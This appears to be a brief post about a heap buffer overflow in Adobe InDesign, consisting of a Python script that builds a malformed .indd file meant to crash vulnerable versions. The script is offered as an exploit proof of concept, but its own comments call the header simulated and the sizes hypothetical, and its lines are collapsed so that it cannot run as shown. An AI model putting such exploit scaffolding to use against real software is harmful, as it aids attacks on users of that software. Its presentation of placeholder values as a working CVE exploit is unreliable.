CVE-2026-34628 Adobe InDesign堆缓冲区溢出漏洞

import struct # Proof of Concept (PoC) generator for CVE-2026-34628 # This script creates a malformed file structure to trigger the heap overflow. # Note: Actual exploitation requires specific knowledge of the InDesign file format (binary structure). def generate_malicious_file(filename): # Simulate a file header header = b"INDSIGN" # Malicious chunk designed to overflow the heap buffer # Targeting a specific allocation size (hypothetical) safe_size = 0x100 overflow_size = 0x200 # Size larger than the allocated buffer # Padding data padding = b"A" * safe_size # Overflow payload (could contain ROP gadgets) payload = b"B" * (overflow_size - safe_size) # Construct the malicious data block # In a real scenario, specific offsets and control bytes are needed malicious_block = header + struct.pack("<I", overflow_size) + padding + payload with open(filename, "wb") as f: f.write(malicious_block) print(f"[+] Malicious file '{filename}' generated.") print(f"[+] Attempt to open this file in a vulnerable version of Adobe InDesign to trigger the crash.") if __name__ == "__main__": generate_malicious_file("cve_2026_34628_poc.indd")